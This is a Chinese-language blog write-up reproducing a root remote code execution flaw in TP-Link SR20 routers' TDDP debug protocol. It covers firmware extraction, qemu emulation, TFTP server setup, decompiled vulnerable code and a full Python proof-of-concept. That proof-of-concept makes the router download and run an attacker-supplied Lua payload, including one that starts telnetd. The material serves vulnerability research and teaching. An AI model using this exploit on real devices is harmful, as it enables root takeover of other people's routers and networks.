RCE

TP-Link SR20路由器 远程代码执行漏洞

RCE

Posted by DC on April 20, 2019

简述:

​ TP-Link SR20 本地网络远程代码执行漏洞,于3月26日公开。该设备TP-Link SR20 是一款支持 Zigbee 和 Z-Wave 物联网协议可以用来当控制中枢 Hub 的触屏 Wi-Fi 路由器,此远程代码执行漏洞允许用户在设备上以 root 权限执行任意命令。

​ 漏洞存在于TPlink 调试协议 TDDP v1版协议中,基于UDP协议,监听1040端口。

​ tddp v1协议,无认证,POC发送数据第二字节为0x31的数据给端口1040的TPlink设备,TPlink设备会请求POC所在机器的TFTP服务下载lua文件使用lua解释器进行以root权限执行,导致远程代码执行漏洞

数据交互流程如下

  1. attck ————–> request: 0x0131…payload..data —>UDP:port:1040—>TPlink
  2. TPlink————–>request TFTP download payload file ————————> Attck
  3. attck—————->response payload content————————————–>TPlink
  4. TPlink————–>Response command result —>UDP:port:1900——->ATTCK

漏洞复现:

TP-Link SR20 设备官网下载固件

漏洞环境的复原,主要依赖于通过binwalk进行固件模块提取,基于qemu的进行服务模拟复原。

binwalk

在ubuntu 18.04环境下,采用binwalk进行固件提取:

$ sudo apt install git $ git clone https://github.com/ReFirmLabs/binwalk $ cd binwalk $ python setup.py install $ sudo ./deps.sh $ Debian/Ubuntu 系统用户可以直接使用 deps.sh 脚本安装所有的依赖

Binwalk 的 GitHub wiki

通过如下命令进行固件提取

 binwalk -Me tpra_sr20v1_us-up-ver1-2-1-P522_20180518-rel77140_2018-05-21_08.42.04.bin

会在本地目录下生成 前置加_符号的文件夹用来存储提取的固件的文件夹,如下结构

其中主要的系统文件为 Squashfs filesystem 系统中文件,squashfs-root文件为主要的固件文件系统

├── 18F48B.sit
├── 212FF9.squashfs
├── 26018
├── 26018.7z
├── 39014
├── 39014.7z
├── _39014.extracted
│   ├── 20000.cpio
│   ├── 33F5B
│   ├── 33F5B.7z
│   ├── 3CE330.xz
│   ├── 45055F
│   ├── 45055F.7z
│   └── cpio-root
│       ├── dev
│       │   └── console
│       └── root
└── squashfs-root
    ├── bin
...
├── usr
    │   ├── bin
    │   │   ├── [ -> ../../bin/busybox
    │   │   ├── [[ -> ../../bin/busybox
    │   │   ├── apptest
    │   │   ├── arping -> ../../bin/busybox
    │   │   ├── awk -> ../../bin/busybox
    │   │   ├── basename -> ../../bin/busybox
    │   │   ├── bmp2tiff
    │   │   ├── bunzip2 -> ../../bin/busybox
    │   │   ├── bzcat -> ../../bin/busybox
    │   │   ├── cal
    │   │   ├── cal_cbr
    │   │   ├── cjpeg
    │   │   ├── clear -> ../../bin/busybox
    │   │   ├── client_mgmt
    │   │   ├── cmp -> ../../bin/busybox
    │   │   ├── consumer
    │   │   ├── crontab -> ../../bin/busybox
    │   │   ├── curl
    │   │   ├── cut -> ../../bin/busybox
    │   │   ├── dev_gpio
    │   │   ├── diff -> ../../bin/busybox
    │   │   ├── dirname -> ../../bin/busybox
    │   │   ├── djpeg
    │   │   ├── du -> ../../bin/busybox
    │   │   ├── emailNotification
    │   │   ├── env -> ../../bin/busybox
    │   │   ├── ev2cloud
    │   │   ├── ev_system
    │   │   ├── expr -> ../../bin/busybox
    │   │   ├── factory_reset
    │   │   ├── fax2ps
    │   │   ├── fax2tiff
    │   │   ├── find -> ../../bin/busybox
    │   │   ├── flock
    │   │   ├── free -> ../../bin/busybox
    │   │   ├── ftpasswd
    │   │   ├── ftpcount
    │   │   ├── ftptop
    │   │   ├── ftpwho
    │   │   ├── getopt
    │   │   ├── gif2tiff
    │   │   ├── head -> ../../bin/busybox
    │   │   ├── hexdump -> ../../bin/busybox
    │   │   ├── hostid -> ../../bin/busybox
    │   │   ├── id -> ../../bin/busybox
    │   │   ├── ifplugd -> ../../bin/busybox
    │   │   ├── iot_ipc
    │   │   ├── iot_ipc_ioctl_server
    │   │   ├── iotnotify
    │   │   ├── iqos-db-loader
    │   │   ├── iqos-db-parser
    │   │   ├── iwinfo
    │   │   ├── jpegtran
    │   │   ├── jshn
    │   │   ├── killall -> ../../bin/busybox
    │   │   ├── less -> ../../bin/busybox
    │   │   ├── libtest
    │   │   ├── logger
    │   │   ├── look
    │   │   ├── lua
    │   │   ├── luac
    │   │   ├── luarsa_keys_gen
    │   │   ├── mcookie
    │   │   ├── md5sum -> ../../bin/busybox
    │   │   ├── mkfifo -> ../../bin/busybox
    │   │   ├── namei
    │   │   ├── nc -> ../../bin/busybox
    │   │   ├── nslookup -> ../../bin/busybox
    │   │   ├── ntfs-3g
    │   │   ├── ntfs-3g.probe
    │   │   ├── nvrammanager
    │   │   ├── openssl
    │   │   ├── pal2rgb
    │   │   ├── passwd -> ../../bin/busybox
    │   │   ├── pgrep -> ../../bin/busybox
    │   │   ├── ppm2tiff
    │   │   ├── printf -> ../../bin/busybox
    │   │   ├── producer
    │   │   ├── ras2tiff
    │   │   ├── raw2tiff
    │   │   ├── readlink -> ../../bin/busybox
    │   │   ├── rename
    │   │   ├── reset -> ../../bin/busybox
    │   │   ├── resolveip
    │   │   ├── RF_Test.bin
    │   │   ├── rgb2ycbcr
    │   │   ├── script
    │   │   ├── scriptreplay
    │   │   ├── seq -> ../../bin/busybox
    │   │   ├── setterm
    │   │   ├── showUbusCallStatus.sh
    │   │   ├── sort -> ../../bin/busybox
    │   │   ├── sourceEvent2Cloud
    │   │   ├── start_nand_test.sh
    │   │   ├── stop_nand_test.sh
    │   │   ├── strace
    │   │   ├── strings -> ../../bin/busybox
    │   │   ├── tail -> ../../bin/busybox
    │   │   ├── taskset
    │   │   ├── tdb
    │   │   ├── tddp  《======================================漏洞触发服务
    │   │   ├── tee -> ../../bin/busybox
    │   │   ├── telnet -> ../../bin/busybox
    │   │   ├── test -> ../../bin/busybox
    │   │   ├── tftp -> ../../bin/busybox
    │   │   ├── thumbnail
    │   │   ├── tiff2bw
    │   │   ├── tiff2pdf
    │   │   ├── tiff2ps
    │   │   ├── tiff2rgba
    │   │   ├── tiffcmp
    │   │   ├── tiffcp
    │   │   ├── tiffcrop
    │   │   ├── tiffdither
    │   │   ├── tiffdump
    │   │   ├── tiffinfo
    │   │   ├── tiffmedian
    │   │   ├── tiffset
    │   │   ├── tiffsplit
    │   │   ├── time -> ../../bin/busybox
    │   │   ├── top -> ../../bin/busybox
    │   │   ├── tpdiscoveryd
    │   │   ├── tpnicknamed
    │   │   ├── tp_wlan_dev_discoveryd
    │   │   ├── tr -> ../../bin/busybox
    │   │   ├── traceroute -> ../../bin/busybox
    │   │   ├── uniq -> ../../bin/busybox
    │   │   ├── uptime -> ../../bin/busybox
    │   │   ├── uuidgen
    │   │   ├── vmstat
    │   │   ├── wall
    │   │   ├── wc -> ../../bin/busybox
    │   │   ├── wget -> ../../bin/busybox
    │   │   ├── whereis
    │   │   ├── which -> ../../bin/busybox
    │   │   ├── wlan_nvram_init
    │   │   ├── xargs -> ../../bin/busybox
    │   │   ├── xmlwf
    │   │   ├── yes -> ../../bin/busybox
    │   │   ├── zigbee_reset
    │   │   ├── zipgateway
    │   │   ├── zwave_ip_api
    │   │   └── zwave_reset
    │   ├── lib
    │   │   ├── ddns
    │   │   │   ├── dynamic_dns_dyndns.sh
    │   │   │   ├── dynamic_dns_functions.sh
    │   │   │   ├── dynamic_dns_log.sh
    │   │   │   ├── dynamic_dns_noip.sh
    │   │   │   ├── dynamic_dns_updater.sh
    │   │   │   ├── services
    │   │   │   └── url_escape.sed
    │   │   ├── dnsproxy
    │   │   │   ├── dnsproxy_api.sh
    │   │   │   └── dnsproxy_deamon.sh
    │   │   ├── iptables
    │   │   │   ├── libipt_TRIGGER.so
    │   │   │   ├── libxt_app.so
    │   │   │   └── libxt_httphost.so
    │   │   ├── libavcodec.so.54 -> libavcodec.so.54.23.100
    │   │   ├── libavcodec.so.54.23.100
    │   │   ├── libavdevice.so.54 -> libavdevice.so.54.0.100

  ...

寻找存在漏洞tddp 的执行文件

155672        0x26018         LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 300028 bytes
233464        0x38FF8         TRX firmware header, little endian, image size: 1941504 bytes, CRC32: 0x2DAE9AF0, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x0, rootfs offset: 0x0
233492        0x39014         LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 4629600 bytes
1635467       0x18F48B        StuffIt Deluxe Segment (data): f%
2174969       0x212FF9        Squashfs filesystem, little endian, version 4.0, compression:xz, size: 13061274 bytes, 2642 inodes, blocksize: 131072 bytes, created: 2018-05-19 04:25:38
15455005      0xEBD31D        LZMA compressed data, properties: 0xC0, dictionary size: 15728640 bytes, uncompressed size: 120259099648 bytes
15465624      0xEBFC98        LZMA compressed data, properties: 0xBF, dictionary size: 0 bytes, uncompressed size: 4293918720 bytes



其中    Squashfs filesystem, little endian, version 4.0 其文件系统 大小端序  版本


进行固件提取
FD6949.7z  squashfs-root
14868.7z    EF6165.7z        FA474C.7z  FBCC95.7z  FD6F35.7z


squashfs-root 目录中的


file tddp
tddp: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped

其中文件系统下 /usr/bin/tddp 为触发漏洞的固件。tddp为一个 ARM 架构的小端(Small-Endian)32 位 ELF 文件。

qemu

通过准备qemu 环境进行 tddp 的运行环境准备

参考文章与实践主要有几种方法:

  1. 基于源码安装qemu进行,选择从 QEMU 官网下载最新稳定版源码来编译安装

    编译完成后安装 checkinstall 来生成 deb 包

    $ sudo apt-get install checkinstall # 安装 checkinstall $ sudo checkinstall make install # 使用 checkinstall 生成 deb 包并安装 如果不使用 checkinstall,直接sudo make install的会把 qemu 安装在多个位置,如果发生错误不方便删除,所以使用 checkinstall 生成 deb 包方便安装和卸载。

  2. 使用 APT apt install qemu 直接安装

  3. 使用qemu-static 静态库进行 直接运行服务。

    sudo apt-get install qemu-kvm-extras-static/sudo apt-get install qemu-user-static 安装static库

    运行: update-binfmts –display 会找到qemu-arm(enabled)的描述

    拷贝qemu-arm-static到arm系统的/usr/bin(或指定位置的运行地点)

    通过chroot . ./qemu-arm-static /usr/bin/tddp

    启动tddp

  4. 搭建 ARM QEMU 虚拟机环境

最后采用apt 的方法安装,通过qemu-arm -L . ./usr/bin/tddp 方式启动tddp 服务

atftpd

同时需要进行ATFTPD 的服务安装,用来让受攻击的固件请求payload

 sudo apt install atftpd
  • 编辑 /etc/default/atftpd 文件,USE_INETD=true 改为 USE_INETD=false
  • 修改 /srv/tftp/tftpboot

最终 /etc/default/atftpd 文件内容如下:

USE_INETD=false
# OPTIONS below are used only with init script
OPTIONS="--tftpd-timeout 300 --retry-timeout 5 --mcast-port 1758 --mcast-addr 239.239.239.0-255 --mcast-ttl 1 --maxthread 100 --verbose=5 /tftpboot"
$ mkdir /tftpboot
$ chmod 777 /tftpboot
$ sudo systemctl start atftpd # 启动 atftpd

如果执行命令 sudo systemctl status atftpd 查看 atftpd 服务状态时

提示 atftpd: can't bind port :69/udp 无法绑定端口

可以执行 sudo systemctl stop inetutils-inetd.service 停用 inetutils-inetd 服务后

再执行 sudo systemctl restart atftpd 重新启动 atftpd 即可正常运行 atftpd

–mcast-port 1900

在环境准备好后

复现过程

启动tddp 服务

root@ubuntu:/home/toor/test/pocs/ssv97887/_tpra_sr20v1_us-up-ver1-2-1-P522_20180518-rel77140_2018-05-21_08.42.04.bin.extracted/squashfs-root#
qemu-arm -L . ./usr/bin/tddp 
[tddp_taskEntry():151] tddp task start

启动 atftp 服务

 atftpd.service - LSB: Launch atftpd server
   Loaded: loaded (/etc/init.d/atftpd; generated)
   Active: active (running) since Wed 2019-04-17 00:52:50 PDT; 24s ago
     Docs: man:systemd-sysv-generator(8)
  Process: 24907 ExecStop=/etc/init.d/atftpd stop (code=exited, status=0/SUCCESS
  Process: 24895 ExecReload=/etc/init.d/atftpd reload (code=exited, status=0/SUC
  Process: 24914 ExecStart=/etc/init.d/atftpd start (code=exited, status=0/SUCCE
    Tasks: 1 (limit: 4632)
   CGroup: /system.slice/atftpd.service
           └─24921 /usr/sbin/atftpd --daemon --tftpd-timeout 300 --retry-timeout

Apr 17 00:52:50 ubuntu atftpd[24907]: Stopping Advanced TFTP server: atftpd.
Apr 17 00:52:50 ubuntu systemd[1]: Stopped LSB: Launch atftpd server.
Apr 17 00:52:50 ubuntu systemd[1]: Starting LSB: Launch atftpd server...
Apr 17 00:52:50 ubuntu atftpd[24920]: Advanced Trivial FTP server started (0.7)
Apr 17 00:52:50 ubuntu atftpd[24914]: Starting Advanced TFTP server: atftpd.
Apr 17 00:52:50 ubuntu systemd[1]: Started LSB: Launch atftpd server.

POC利用:

payload 准备:

在 atftp 的根目录 /tftpboot 下写入 payload 文件
payload 文件内容为:

function config_test(config)
  os.execute("echo tplink poc test ")
end

POC利用

python3 testpoc.py 192.168.239.138 /payload   # 目标 , 指定atftpd 上的利用payload名

使用脚本攻击进行攻击后,tddp 出现

[tddp_taskEntry():151] tddp task start
bad magic number
Invalid command 'zlib'; type "help" for a list.
callback username
callback password
[tddp_parserVerOneOpt():692] TDDPv1: receive CMD_FTEST_CONFIG
[tddp_execCmd():72] cmd: cd /tmp;tftp -gr /payload 192.168.239.138 & 
usage: tftp host-name [port]   
tftp> tplink poc test  《--------------- 攻击成功

漏洞触发点:

作者分析思路在于对于固件进行漏洞挖掘时,通过对tddp可执行文件进行函数分析时,发现有导入popen()。

popen()函数通过创建一个管道,调用fork()产生一个子进程,执行一个shell以运行命令来开启一个进程。

所以可能会造成攻击利用。

说明敏感函数回溯是一个很好的攻击点。

同时其上层调用的 tddp v1 未做身份认证功能

通过 调用recvfrom()的函数,从网络套接字信息的调用的跟进发现。其处理流程为查看数据包的第一个字节,并使用它来确定正在使用的协议,并根据协议版本将数据包传递给其他调度程序。对于版本1,调度程序只查看数据包的第二个字节,并根据其值调用不同的函数。0x31是CMD_FTEST_CONFIG 同时调用ftest_config函数

该函数主要功能为后台执行tftp命令。回连到攻击的主机tftp服务,并尝试通过与其发送的文件名对应的tftp下载文件,将文件加载到之前初始化的Lua解释器中,并使用配置文件的名称和远程地址调用函数config_test()参数。config_test()由从远程机器下载的文件提供,在lua解释器中运行可以使用包括仅在主机上所有运行命令包括os.execute方法。由于tddp以root身份运行,因此可以以root身份执行任意命令,造成了任意代码执行

传参出两个用分号风格的字符串,第一个为文件名,第一个为configfile

int ftest_config(char *byte) {
  int lua_State;
  char *remote_address;
  int err;
  int luaerr;
  char filename[64]
  char configFile[64];
  char luaFile[64];
  int attempts;
  char *payload;

  attempts = 4;
  memset(luaFile,0,0x40);
  memset(configFile,0,0x40);
  memset(filename,0,0x40);
  lua_State = luaL_newstart();
  payload = iParm1 + 0xb027;
  if (payload != 0x00) {
    sscanf(payload,"%[^;];%s",luaFile,configFile);
    if ((luaFile[0] == 0) || (configFile[0] == 0)) {
      printf("[%s():%d] luaFile or configFile len error.\n","tddp_cmd_configSet",0x22b);
    }
    else {
      remote_address = inet_ntoa(*(in_addr *)(iParm1 + 4));
      tddp_execCmd("cd /tmp;tftp -gr %s %s &",luaFile,remote_address);  //进行tftp下载
      sprintf(filename,"/tmp/%s",luaFile);
      while (0 < attempts) {
        sleep(1);
        err = access(filename,0);
        if (err == 0) break;
        attempts = attempts + -1;
      }
      if (attempts == 0) {
        printf("[%s():%d] lua file [%s] don\'t exsit.\n","tddp_cmd_configSet",0x23e,filename);
      }
      else {
        if (lua_State != 0) {
          luaL_openlibs(lua_State);
          luaerr = luaL_loadfile(lua_State,filename);   //加载获取回来的lua文件
          if (luaerr == 0) {
            luaerr = lua_pcall(lua_State,0,0xffffffff,0);
          }
          lua_getfield(lua_State,0xffffd8ee,"config_test",luaerr);
            //调用lua中的config_test方法   造成 任意代码执行。
          lua_pushstring(lua_State,configFile);
          lua_pushstring(lua_State,remote_address);
          lua_call(lua_State,2,1);
        }
        lua_close(lua_State);
      }
    }
  }
}

故payload 可以构造如下

function config_test(config)
  os.execute("echo poc test")
end

同时向写上回溯可以 通过对tddp 固件进行定位发现协议问题点:

通过上层recveform 函数调用进行数据获取,进行监听处理,对第二个字节处理。

loc_16230               ; jumptable 00015ED8 case 45
MOV             R3, #aSDTddpv1Receiv_5 《- TDDPv1:receiveCMD_FTEST_CONFIG" 0x31标签
MOV             R0, R3  ; format
MOV             R1, #0x195F8
MOV             R2, #0x2B4
BL              printf
LDR             R0, [R11,#var_20]
BL              sub_A580            《-该函数为 ftest_config 函数
STR             R0, [R11,#var_8]
B               loc_163C0

POC如下:

#!/usr/bin/python3

# Copyright 2019 Google LLC.
# SPDX-License-Identifier: Apache-2.0

# Create a file in your tftp directory with the following contents:
#
#function config_test(config)
#  os.execute("telnetd -l /bin/login.sh")
#end
#
# Execute script as poc.py remoteaddr filename

import sys
import binascii
import socket

port_send = 1040
port_receive = 61000

tddp_ver = "01"
tddp_command = "31"
tddp_req = "01"
tddp_reply = "00"
tddp_padding = "%0.16X" % 00

#构造tddp协议头 关键为前两个字节 
tddp_packet = "".join([tddp_ver, tddp_command, tddp_req, tddp_reply, tddp_padding])



sock_receive = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock_receive.bind(('', port_receive))

# Send a request
sock_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
packet = binascii.unhexlify(tddp_packet)
argument = "%s;arbitrary" % sys.argv[2]   #构造下载文件路径
packet = packet + argument.encode()    
sock_send.sendto(packet, (sys.argv[1], port_send))
sock_send.close()

response, addr = sock_receive.recvfrom(1024)
r = response.encode('hex')
print(r)

密网应用:

可通过qemu-static 来进行固件启动模拟,进行交互。

参考链接

  1. Remote code execution as root from the local network on TP-Link SR20 routers
  2. How to set up QEMU 3.0 on Ubuntu 18.04
  3. Vivotek 摄像头远程栈溢出漏洞分析及利用
  4. 一个针对TP-Link调试协议(TDDP)漏洞挖掘的故事